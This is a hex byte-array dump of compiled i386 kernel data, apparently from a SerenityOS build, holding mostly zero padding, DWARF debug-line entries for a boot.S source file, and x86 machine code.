0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x03, 0x00, 0x36, 0x00,
0x00, 0x00, 0x01, 0x01, 0xfb, 0x0e, 0x0d, 0x00, 0x01, 0x01, 0x01, 0x01,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x2e, 0x2e, 0x2f, 0x4b, 0x65,
0x72, 0x6e, 0x65, 0x6c, 0x2f, 0x41, 0x72, 0x63, 0x68, 0x2f, 0x69, 0x33,
0x38, 0x36, 0x2f, 0x42, 0x6f, 0x6f, 0x74, 0x00, 0x00, 0x62, 0x6f, 0x6f,
0x74, 0x2e, 0x53, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x05, 0x02, 0x00,
0x00, 0x10, 0xc0, 0x03, 0xdc, 0x00, 0x01, 0x21, 0x23, 0x59, 0x59, 0x2f,
0x31, 0x59, 0x67, 0x77, 0x59, 0x59, 0x2f, 0x31, 0x59, 0x59, 0x2f, 0x31,
0x59, 0x59, 0x2f, 0x31, 0x59, 0x59, 0x2f, 0x31, 0x59, 0x59, 0x30, 0x3f,
0x59, 0x59, 0x5b, 0x30, 0x3d, 0x3d, 0x59, 0x31, 0x59, 0x59, 0x31, 0x30,
0x3d, 0x3d, 0x59, 0x31, 0x59, 0x59, 0x31, 0x30, 0x3d, 0x3d, 0x59, 0x31,
0x59, 0x9f, 0x75, 0xa1, 0x59, 0x3f, 0x3d, 0x3d, 0x3f, 0x3d, 0x59, 0x3f,
0x59, 0x3f, 0x59, 0x30, 0x3d, 0x3f, 0x59, 0x59, 0x31, 0x2f, 0x3d, 0x31,
0x67, 0x68, 0x59, 0x3e, 0x59, 0x59, 0x3d, 0x23, 0x21, 0x03, 0x18, 0x08,
0x12, 0x21, 0x5a, 0x2f, 0x30, 0x2f, 0x31, 0x5b, 0x3d, 0x4b, 0x3e, 0x85,
0x4b, 0x2f, 0x2f, 0x2f, 0x2f, 0x30, 0x5b, 0x2f, 0x21, 0x83, 0x31, 0x77,
0x59, 0x2f, 0x67, 0x68, 0x59, 0x2f, 0x59, 0x32, 0x67, 0x3f, 0x3d, 0x3d,
0x3f, 0x3d, 0x59, 0x3f, 0x77, 0x77, 0x3d, 0x3e, 0x5b, 0x67, 0x3d, 0x67,
0x3f, 0x67, 0x3d, 0x67, 0x3f, 0x67, 0x59, 0x3d, 0x23, 0x21, 0x22, 0x2f,
0x25, 0x59, 0x02, 0x49, 0x00, 0x01, 0x01, 0x22, 0x00, 0x00, 0x00, 0x02,
0x00, 0x0d, 0x51, 0x11, 0xc0, 0x04, 0x01, 0x00, 0x50, 0x11, 0xc0, 0x00,
0x00, 0x10, 0xc0, 0x7e, 0x02, 0x10, 0xc0, 0x48, 0x51, 0x11, 0xc0, 0x68,
0x51, 0x11, 0xc0, 0x8a, 0x51, 0x11, 0xc0, 0x01, 0x80, 0x01, 0x11, 0x00,
0x10, 0x06, 0x11, 0x01, 0x12, 0x01, 0x03, 0x0e, 0x1b, 0x0e, 0x25, 0x0e,
0x13, 0x05, 0x00, 0x00, 0x00, 0x66, 0x90, 0x66, 0x90, 0x66, 0x90, 0x90,
0x1c, 0x00, 0x00, 0x00, 0x02, 0x00, 0xe7, 0x50, 0x11, 0xc0, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xc0, 0x7e, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e, 0x2e, 0x2f, 0x4b,
0x65, 0x72, 0x6e, 0x65, 0x6c, 0x2f, 0x41, 0x72, 0x63, 0x68, 0x2f, 0x69,
0x33, 0x38, 0x36, 0x2f, 0x42, 0x6f, 0x6f, 0x74, 0x2f, 0x62, 0x6f, 0x6f,
0x74, 0x2e, 0x53, 0x00, 0x2f, 0x55, 0x73, 0x65, 0x72, 0x73, 0x2f, 0x77,
0x69, 0x6c, 0x6c, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2f, 0x73,
0x65, 0x72, 0x65, 0x6e, 0x69, 0x74, 0x79, 0x2f, 0x42, 0x75, 0x69, 0x6c,
0x64, 0x00, 0x47, 0x4e, 0x55, 0x20, 0x41, 0x53, 0x20, 0x32, 0x2e, 0x33,
0x35, 0x2e, 0x31, 0x00, 0x54, 0x8b, 0x18, 0xc0, 0x10, 0xc2, 0x28, 0xc0,
0x18, 0xc8, 0x28, 0xc0, 0x40, 0xc2, 0x28, 0xc0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x89, 0xe5, 0x53,
0xe8, 0x53, 0x4b, 0x0e, 0x00, 0x81, 0xc3, 0xeb, 0xff, 0xff, 0xff, 0x50,
0x8d, 0x83, 0x9c, 0xb0, 0x12, 0x00, 0x50, 0x8d, 0x83, 0xef, 0xb0, 0x12,
0x00, 0x6a, 0x2b, 0x50, 0x8d, 0x83, 0x25, 0x66, 0x13, 0x00, 0x50, 0xe8,
0x00, 0x40, 0x00, 0x00, 0x55, 0x89, 0xe5, 0x53, 0xe8, 0x27, 0x4b, 0x0e,
0x00, 0x81, 0xc3, 0xbf, 0xff, 0xff, 0xff, 0x50, 0x8d, 0x83, 0x10, 0xb1,
0x12, 0x00, 0x50, 0x8d, 0x83, 0xef, 0xb0, 0x12, 0x00, 0x6a, 0x31, 0x50,
0x8d, 0x83, 0x25, 0x66, 0x13, 0x00, 0x50, 0xe8, 0xd4, 0x3f, 0x00, 0x00,
0x83, 0x6c, 0x24, 0x04, 0x10, 0xeb, 0xcd, 0x90, 0x55, 0x89, 0xe5, 0x53,
0xe8, 0xf3, 0x4a, 0x0e, 0x00, 0x81, 0xc3, 0x8b, 0xff, 0xff, 0xff, 0x50,
0x8d, 0x83, 0x56, 0xb1, 0x12, 0x00, 0x50, 0x8d, 0x83, 0xef, 0xb0, 0x12,
0x00, 0x6a, 0x36, 0x50, 0x8d, 0x83, 0x25, 0x66, 0x13, 0x00, 0x50, 0xe8,
0xa0, 0x3f, 0x00, 0x00, 0x83, 0x6c, 0x24, 0x04, 0x10, 0xeb, 0xcd, 0x90,
0x55, 0x89, 0xe5, 0x53, 0xe8, 0xbf, 0x4a, 0x0e, 0x00, 0x81, 0xc3, 0x57,
0xff, 0xff, 0xff, 0x50, 0x8d, 0x83, 0xa9, 0xb1, 0x12, 0x00, 0x50, 0x8d,
0x83, 0xef, 0xb0, 0x12, 0x00, 0x6a, 0x3b, 0x50, 0x8d, 0x83, 0x25, 0x66,
0x13, 0x00, 0x50, 0xe8, 0x6c, 0x3f, 0x00, 0x00, 0x83, 0x6c, 0x24, 0x04,
0x10, 0xeb, 0xcd, 0x90, 0x55, 0x89, 0xe5, 0x53, 0xe8, 0x8b, 0x4a, 0x0e,
0x00, 0x81, 0xc3, 0x23, 0xff, 0xff, 0xff, 0x50, 0x8d, 0x83, 0xf7, 0xb1,
0x12, 0x00, 0x50, 0x8d, 0x83, 0xef, 0xb0, 0x12, 0x00, 0x6a, 0x40, 0x50,
0x8d, 0x83, 0x25, 0x66, 0x13, 0x00, 0x50, 0xe8, 0x38, 0x3f, 0x00, 0x00,
0x83, 0x6c, 0x24, 0x04, 0x10, 0xeb, 0xcd, 0x90, 0x55, 0x89, 0xe5, 0x53,
0xe8, 0x57, 0x4a, 0x0e, 0x00, 0x81, 0xc3, 0xef, 0xfe, 0xff, 0xff, 0x50,
0x8d, 0x83, 0x3e, 0xb2, 0x12, 0x00, 0x50, 0x8d, 0x83, 0xef, 0xb0, 0x12,
0x00, 0x6a, 0x45, 0x50, 0x8d, 0x83, 0x25, 0x66, 0x13, 0x00, 0x50, 0xe8,
0x04, 0x3f, 0x00, 0x00, 0x83, 0x6c, 0x24, 0x04, 0x10, 0xeb, 0xcd, 0x90,
0x55, 0x89, 0xe5, 0x53, 0xe8, 0x23, 0x4a, 0x0e, 0x00, 0x81, 0xc3, 0xbb,
0xfe, 0xff, 0xff, 0x50, 0x8d, 0x83, 0x7c, 0xb2, 0x12, 0x00, 0x50, 0x8d,
0x83, 0xef, 0xb0, 0x12, 0x00, 0x6a, 0x4b, 0x50, 0x8d, 0x83, 0x25, 0x66,
0x13, 0x00, 0x50, 0xe8, 0xd0, 0x3e, 0x00, 0x00, 0x55, 0x89, 0xe5, 0x57,
0x56, 0x53, 0xe8, 0xf5, 0x49, 0x0e, 0x00, 0x81, 0xc3, 0x8d, 0xfe, 0xff,
0xff, 0x81, 0xec, 0xc4, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x08, 0xc7, 0xc0,
0x60, 0xc9, 0x28, 0xc0, 0x8b, 0x10, 0x89, 0x55, 0xe4, 0x31, 0xd2, 0x6a,
0x09, 0x56, 0x89, 0x85, 0x48, 0xff, 0xff, 0xff, 0xe8, 0xdd, 0xc1, 0x04,
0x00, 0x58, 0x8d, 0x46, 0x10, 0x5a, 0xff, 0x75, 0x0c, 0x50, 0xe8, 0xdb,
0x2e, 0x00, 0x00, 0x8d, 0x83, 0x78, 0x1e, 0x17, 0x00, 0xc7, 0x46, 0x38,
0x00, 0x00, 0x00, 0x00, 0x89, 0x06, 0x83, 0xc0, 0x4c, 0x89, 0x46, 0x10,
0x8d, 0x85, 0x58, 0xff, 0xff, 0xff, 0x89, 0x04, 0x24, 0xe8, 0x60, 0x86,
0x0c, 0x00, 0xc7, 0x85, 0x54, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00,
0x83, 0xc4, 0x0c, 0x8b, 0x85, 0x54, 0xff, 0xff, 0xff, 0x80, 0xbc, 0x18,
0xb0, 0xb2, 0x12, 0x00, 0x00, 0x74, 0x08, 0xff, 0x85, 0x54, 0xff, 0xff,
0xff, 0xeb, 0xe8, 0x8b, 0x85, 0x54, 0xff, 0xff, 0xff, 0x03, 0x85, 0x5c,
0xff, 0xff, 0xff, 0x89, 0x85, 0x50, 0xff, 0xff, 0xff, 0x3b, 0x85, 0x60,
0xff, 0xff, 0xff, 0x76, 0x72, 0x83, 0xc0, 0x7f, 0x83, 0xec, 0x0c, 0x83,
0xe0, 0x80, 0x50, 0x89, 0x85, 0x4c, 0xff, 0xff, 0xff, 0xe8, 0x69, 0x9b,
0x0d, 0x00, 0x83, 0xc4, 0x10, 0x8b, 0x8d, 0x5c, 0xff, 0xff, 0xff, 0x81,
0xbd, 0x60, 0xff, 0xff, 0xff, 0x80, 0x00, 0x00, 0x00, 0x89, 0xc2, 0x77,
0x0c, 0x8d, 0xb5, 0x64, 0xff, 0xff, 0xff, 0x89, 0xc7, 0xf3, 0xa4, 0xeb,
0x28, 0x8b, 0x85, 0x64, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1e, 0x89,
0xd7, 0x89, 0xc6, 0x83, 0xec, 0x0c, 0x89, 0x95, 0x44, 0xff, 0xff, 0xff,
0xf3, 0xa4, 0x50, 0xe8, 0x7b, 0x99, 0x0d, 0x00, 0x8b, 0x95, 0x44, 0xff,
0xff, 0xff, 0x83, 0xc4, 0x10, 0x8b, 0x85, 0x4c, 0xff, 0xff, 0xff, 0x89,
0x95, 0x64, 0xff, 0xff, 0xff, 0x89, 0x85, 0x60, 0xff, 0xff, 0xff, 0x81,
0xbd, 0x60, 0xff, 0xff, 0xff, 0x80, 0x00, 0x00, 0x00, 0x8d, 0x85, 0x64,
0xff, 0xff, 0xff, 0x76, 0x06, 0x8b, 0x85, 0x64, 0xff, 0xff, 0xff, 0x03,
0x85, 0x5c, 0xff, 0xff, 0xff, 0x8b, 0x8d, 0x54, 0xff, 0xff, 0xff, 0x8d,
0xb3, 0xb0, 0xb2, 0x12, 0x00, 0x83, 0xec, 0x0c, 0x89, 0xc7, 0x8b, 0x85,
0x50, 0xff, 0xff, 0xff, 0xf3, 0xa4, 0x89, 0x85, 0x5c, 0xff, 0xff, 0xff,
0x8d, 0x85, 0x58, 0xff, 0xff, 0xff, 0x50, 0xe8, 0x78, 0x7f, 0x0c, 0x00,
0x8b, 0x85, 0x48, 0xff, 0xff, 0xff, 0x83, 0xc4, 0x10, 0x8b, 0x7d, 0xe4,
0x2b, 0x38, 0x74, 0x05, 0xe8, 0x0a, 0x2e, 0x07, 0x00, 0x8d, 0x65, 0xf4,
0x5b, 0x5e, 0x5f, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x53, 0xe8, 0x7a, 0x48,
0x0e, 0x00, 0x81, 0xc3, 0x12, 0xfd, 0xff, 0xff, 0x50, 0xe8, 0x9c, 0x11,
0x00, 0x00, 0x5a, 0x5b, 0x85, 0xc0, 0x5d, 0x0f, 0x95, 0xc0, 0xc3, 0x55,
0x89, 0xe5, 0x57, 0x56, 0x8d, 0x7d, 0xdc, 0x53, 0xe8, 0x57, 0x48, 0x0e,
0x00, 0x81, 0xc3, 0xef, 0xfc, 0xff, 0xff, 0x83, 0xec, 0x3c, 0xc7, 0xc0,
0x60, 0xc9, 0x28, 0xc0, 0x8b, 0x08, 0x89, 0x4d, 0xe4, 0x31, 0xc9, 0x89,
0x45, 0xbc, 0xe8, 0x8d, 0xb1, 0x00, 0x00, 0x89, 0xc6, 0x8d, 0x45, 0xd8,
0x89, 0x45, 0xc4, 0x50, 0x8d, 0x83, 0xdd, 0xb2, 0x12, 0x00, 0x6a, 0x00,
0x50, 0xff, 0x75, 0xc4, 0xe8, 0x41, 0xd9, 0x0c, 0x00, 0x50, 0x50, 0xff,
0x75, 0xc4, 0x56, 0x8d, 0x75, 0xd0, 0x57, 0xe8, 0xa0, 0xb1, 0x00, 0x00,
0x8d, 0x45, 0xd4, 0x89, 0x45, 0xc0, 0x58, 0x8d, 0x83, 0x98, 0x05, 0x13,
0x00, 0x5a, 0x6a, 0x00, 0x50, 0xff, 0x75, 0xc0, 0xe8, 0x19, 0xd9, 0x0c,
0x00, 0x83, 0xc4, 0x1c, 0x80, 0x7d, 0xe0, 0x00, 0x74, 0x05, 0x50, 0x50,
0x57, 0xeb, 0x05, 0x51, 0x51, 0xff, 0x75, 0xc0, 0x56, 0xe8, 0x54, 0x49,
0x0e, 0x00, 0x83, 0xc4, 0x10, 0x83, 0xec, 0x0c, 0xff, 0x75, 0xc0, 0xe8,
0xb8, 0x48, 0x0e, 0x00, 0x83, 0xc4, 0x10, 0x80, 0x7d, 0xe0, 0x00, 0x74,
0x0c, 0x83, 0xec, 0x0c, 0x57, 0xe8, 0xa6, 0x48, 0x0e, 0x00, 0x83, 0xc4,
0x10, 0x83, 0xec, 0x0c, 0xff, 0x75, 0xc4, 0xe8, 0x98, 0x48, 0x0e, 0x00,
0x58, 0x8d, 0x83, 0xe2, 0xb2, 0x12, 0x00, 0x5a, 0x50, 0x56, 0xe8, 0x4f,
0xa4, 0x0c, 0x00, 0x83, 0xc4, 0x10, 0xba, 0x01, 0x00, 0x00, 0x00, 0x84,
0xc0, 0x75, 0x1b, 0x50, 0x50, 0x8d, 0x83, 0xea, 0xb2, 0x12, 0x00, 0x50,
0x56, 0xe8, 0x34, 0xa4, 0x0c, 0x00, 0x83, 0xc4, 0x10, 0x3c, 0x01, 0x19,
0xd2, 0xf7, 0xd2, 0x83, 0xe2, 0x02, 0x83, 0xec, 0x0c, 0x89, 0x55, 0xc4,
0x56, 0xe8, 0x56, 0x48, 0x0e, 0x00, 0x8b, 0x55, 0xc4, 0x83, 0xc4, 0x10,
0x83, 0xfa, 0x02, 0x74, 0x56, 0x83, 0xec, 0x0c, 0x57, 0xe8, 0x42, 0x11,
0x00, 0x00, 0x83, 0xc4, 0x0c, 0x80, 0x7d, 0xe0, 0x00, 0x74, 0x44, 0x8b,
0x55, 0xc4, 0x8b, 0x75, 0xdc, 0x85, 0xd2, 0x75, 0x1a, 0x83, 0xec, 0x0c,
0x6a, 0x3c, 0xe8, 0xfe, 0x9a, 0x0d, 0x00, 0x59, 0x89, 0xc7, 0x58, 0x56,
0x57, 0x83, 0xc7, 0x10, 0xe8, 0x2f, 0xfd, 0xff, 0xff, 0xeb, 0x15, 0x83,
0xec, 0x0c, 0x6a, 0x28, 0xe8, 0xe4, 0x9a, 0x0d, 0x00, 0x89, 0xc7, 0x58,
0x5a, 0x56, 0x57, 0xe8, 0x36, 0x2c, 0x00, 0x00, 0x89, 0x3c, 0x24, 0xe8,
0x50, 0x10, 0x00, 0x00, 0x83, 0xc4, 0x10, 0x8b, 0x45, 0xbc, 0x8b, 0x4d,
0xe4, 0x2b, 0x08, 0x74, 0x05, 0xe8, 0x7d, 0x2c, 0x07, 0x00, 0x8d, 0x65,
0xf4, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x53, 0xe8, 0xed,
0x46, 0x0e, 0x00, 0x81, 0xc3, 0x85, 0xfb, 0xff, 0xff, 0x50, 0x8d, 0x83,
0xf3, 0xb2, 0x12, 0x00, 0x50, 0x8d, 0x83, 0x2c, 0xb3, 0x12, 0x00, 0x68,
0xa6, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x83, 0x3d, 0xb3, 0x12, 0x00, 0x50,
0xe8, 0x97, 0x3b, 0x00, 0x00, 0x90, 0x55, 0x89, 0xe5, 0x57, 0x56, 0x89,
0xc6, 0x53, 0xe8, 0xb9, 0x46, 0x0e, 0x00, 0x81, 0xc3, 0x51, 0xfb, 0xff,
0xff, 0x83, 0xec, 0x28, 0x89, 0x4d, 0xe0, 0x52, 0x89, 0x55, 0xe4, 0xe8,
0x7e, 0x4a, 0x0e, 0x00, 0x8b, 0x55, 0xe4, 0x83, 0xc4, 0x10, 0x89, 0xc1,
0x03, 0x42, 0x04, 0x89, 0xcf, 0x89, 0x45, 0xe4, 0x89, 0x55, 0xd8, 0x89,
0x4d, 0xdc, 0x3b, 0x7d, 0xe4, 0x73, 0x2c, 0x50, 0xff, 0x75, 0x08, 0x57,
0xff, 0x75, 0xe0, 0xe8, 0xcf, 0x2a, 0x07, 0x00, 0x83, 0xc4, 0x10, 0x8b,
0x4d, 0xdc, 0x8b, 0x55, 0xd8, 0x85, 0xc0, 0x75, 0x0d, 0x29, 0xcf, 0x03,
0x7a, 0x0c, 0xc6, 0x46, 0x04, 0x01, 0x89, 0x3e, 0xeb, 0x10, 0x03, 0x7d,
0x0c, 0xeb, 0xc9, 0xb9, 0x02, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xf7,
0xf3, 0xab, 0x8d, 0x65, 0xf4, 0x89, 0xf0, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3,
0x55, 0x89, 0xe5, 0x57, 0x56, 0x53, 0xe8, 0x3d, 0x46, 0x0e, 0x00, 0x81,
0xc3, 0xd5, 0xfa, 0xff, 0xff, 0x83, 0xec, 0x2c, 0x8b, 0x75, 0x08, 0x8b,
0x45, 0x0c, 0xc7, 0x45, 0xe4, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x06, 0x00,
0x00, 0x00, 0x00, 0xc7, 0x46, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x40,
0x14, 0xc7, 0x46, 0x08, 0x00, 0x00, 0x00, 0x00, 0x89, 0x45, 0xdc, 0x8d,
0x83, 0x08, 0xb4, 0x12, 0x00, 0x89, 0x45, 0xd8, 0x8b, 0x7d, 0xe4, 0x39,
0x7d, 0xdc, 0x0f, 0x84, 0xbb, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x39,
0x78, 0x14, 0x77, 0x1f, 0x8d, 0x83, 0x43, 0xb3, 0x12, 0x00, 0x50, 0x8d,
0x83, 0xec, 0xb3, 0x12, 0x00, 0x68, 0xc2, 0x00, 0x00, 0x00, 0x50, 0x8d,
0x83, 0xfd, 0xb3, 0x12, 0x00, 0x50, 0xe8, 0xa1, 0x3a, 0x00, 0x00, 0x8b,
0x45, 0x0c, 0x8b, 0x4d, 0xe4, 0x8b, 0x40, 0x1c, 0x8d, 0x3c, 0xc8, 0x50,
0x8d, 0x47, 0x02, 0x6a, 0x06, 0x50, 0xff, 0x75, 0xd8, 0xe8, 0x32, 0x2a,
0x07, 0x00, 0x83, 0xc4, 0x10, 0x85, 0xc0, 0x75, 0x6a, 0x8a, 0x47, 0x01,
0x8b, 0x0e, 0x8b, 0x56, 0x04, 0x88, 0x45, 0xe3, 0x8d, 0x41, 0x01, 0x39,
0xd0, 0x76, 0x4b, 0xc1, 0xe8, 0x02, 0x8d, 0x7c, 0x01, 0x05, 0xb8, 0x04,
0x00, 0x00, 0x00, 0x83, 0xff, 0x04, 0x0f, 0x42, 0xf8, 0x39, 0xfa, 0x73,
0x35, 0x83, 0xec, 0x0c, 0x57, 0xe8, 0xa1, 0x97, 0x0d, 0x00, 0x8b, 0x4e,
0x08, 0x83, 0xc4, 0x0c, 0xff, 0x36, 0x89, 0x45, 0xd4, 0x51, 0x50, 0x89,
0x4d, 0xd0, 0xe8, 0x3d, 0x26, 0x07, 0x00, 0x8b, 0x4d, 0xd0, 0x89, 0x0c,
0x24, 0xe8, 0xd5, 0x95, 0x0d, 0x00, 0x8b, 0x55, 0xd4, 0x89, 0x7e, 0x04,
0x83, 0xc4, 0x10, 0x89, 0x56, 0x08, 0x8b, 0x06, 0x8b, 0x56, 0x08, 0x8a,
0x4d, 0xe3, 0x88, 0x0c, 0x02, 0xff, 0x06, 0xff, 0x45, 0xe4, 0xe9, 0x39,
0xff, 0xff, 0xff, 0x8d, 0x65, 0xf4, 0x89, 0xf0, 0x5b, 0x5e, 0x5f, 0x5d,
0xc2, 0x04, 0x00, 0x90, 0x55, 0x89, 0xe5, 0x8b, 0x4d, 0x0c, 0x8b, 0x45,
0x08, 0x8b, 0x55, 0x18, 0x88, 0x08, 0x8b, 0x4d, 0x10, 0x88, 0x48, 0x01,
0x8b, 0x4d, 0x14, 0x88, 0x48, 0x02, 0x89, 0xd1, 0xc0, 0xea, 0x02, 0x83,
0xe2, 0x1f, 0x83, 0xe1, 0x03, 0x88, 0x50, 0x04, 0x8b, 0x55, 0x1c, 0x88,
0x48, 0x03, 0x89, 0x50, 0x08, 0x8b, 0x55, 0x20, 0x66, 0x89, 0x50, 0x0c,
0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x57, 0x56, 0x8d, 0x75, 0xcc, 0x53, 0xe8,
0xe8, 0x44, 0x0e, 0x00, 0x81, 0xc3, 0x80, 0xf9, 0xff, 0xff, 0x83, 0xec,
0x48, 0x8b, 0x45, 0x08, 0x56, 0x89, 0x45, 0xc4, 0xc7, 0xc7, 0x60, 0xc9,
0x28, 0xc0, 0x8b, 0x07, 0x89, 0x45, 0xe4, 0x31, 0xc0, 0xe8, 0x12, 0xab,
0x00, 0x00, 0x8d, 0x45, 0xdc, 0x8d, 0x8b, 0xee, 0xb2, 0x12, 0x00, 0x89,
0xf2, 0x83, 0xec, 0x0c, 0x6a, 0x10, 0x6a, 0x04, 0xe8, 0xe9, 0xfd, 0xff,
0xff, 0x83, 0xc4, 0x14, 0x56, 0xe8, 0xc4, 0x48, 0x0e, 0x00, 0x83, 0xc4,
0x10, 0x80, 0x7d, 0xe0, 0x00, 0x74, 0x11, 0x8b, 0x45, 0xc4, 0x8b, 0x55,
0xc4, 0xc6, 0x40, 0x04, 0x01, 0x8b, 0x45, 0xdc, 0x89, 0x02, 0xeb, 0x2c,
0x83, 0xec, 0x0c, 0x56, 0xe8, 0x0e, 0xaa, 0x00, 0x00, 0x8b, 0x45, 0xc4,
0x8d, 0x8b, 0xee, 0xb2, 0x12, 0x00, 0x89, 0xf2, 0x83, 0xec, 0x0c, 0x6a,
0x10, 0x6a, 0x04, 0xe8, 0xa6, 0xfd, 0xff, 0xff, 0x83, 0xc4, 0x14, 0x56,
0xe8, 0x81, 0x48, 0x0e, 0x00, 0x83, 0xc4, 0x10, 0x8b, 0x45, 0xe4, 0x2b,
0x07, 0x74, 0x05, 0xe8, 0xd3, 0x29, 0x07, 0x00, 0x8b, 0x45, 0xc4, 0x8d,
0x65, 0xf4, 0x5b, 0x5e, 0x5f, 0x5d, 0xc2, 0x04, 0x00, 0x55, 0x89, 0xe5,
0x57, 0x56, 0x89, 0xc6, 0x53, 0xe8, 0x3a, 0x44, 0x0e, 0x00, 0x81, 0xc3,
0xd2, 0xf8, 0xff, 0xff, 0x83, 0xec, 0x3c, 0xc7, 0x46, 0x04, 0x00, 0x00,
0x00, 0x00, 0x89, 0x55, 0xc4, 0x89, 0x4d, 0xbc, 0xc7, 0xc7, 0x60, 0xc9,
0x28, 0xc0, 0x8b, 0x07, 0x89, 0x45, 0xe4, 0x31, 0xc0, 0xc7, 0x06, 0x00,
0x00, 0x00, 0x00, 0xe8, 0x2c, 0x11, 0x0b, 0x00, 0x8d, 0x4d, 0xd0, 0x6a,
0x01, 0x8b, 0x55, 0xc4, 0x89, 0x4d, 0xc0, 0x8d, 0x4d, 0xd8, 0x6a, 0x00,
0x81, 0xe2, 0x00, 0xf0, 0xff, 0xff, 0x6a, 0x01, 0x51, 0x8b, 0x4d, 0xbc,
0xc7, 0x45, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x81, 0xc1, 0xff, 0x0f, 0x00,
0x00, 0xc7, 0x45, 0xdc, 0x00, 0x00, 0x00, 0x00, 0x81, 0xe1, 0x00, 0xf0,
0xff, 0xff, 0xc7, 0x45, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x51, 0x52, 0x50,
0xff, 0x75, 0xc0, 0xe8, 0x44, 0x2c, 0x0b, 0x00, 0x8b, 0x16, 0x8b, 0x4d,
0xd0, 0xc7, 0x45, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x89, 0x55, 0xd4, 0x8d,
0x55, 0xd4, 0x52, 0x89, 0x0e, 0xe8, 0xc8, 0x47, 0x0e, 0x00, 0x83, 0xc4,
0x14, 0xff, 0x75, 0xc0, 0xe8, 0xbd, 0x47, 0x0e, 0x00, 0x8b, 0x55, 0xc4,
0x81, 0xe2, 0xff, 0x0f, 0x00, 0x00, 0x89, 0x56, 0x04, 0x8b, 0x45, 0xe4,
0x2b, 0x07, 0x74, 0x05, 0xe8, 0x06, 0x29, 0x07, 0x00, 0x8d, 0x65, 0xf4,
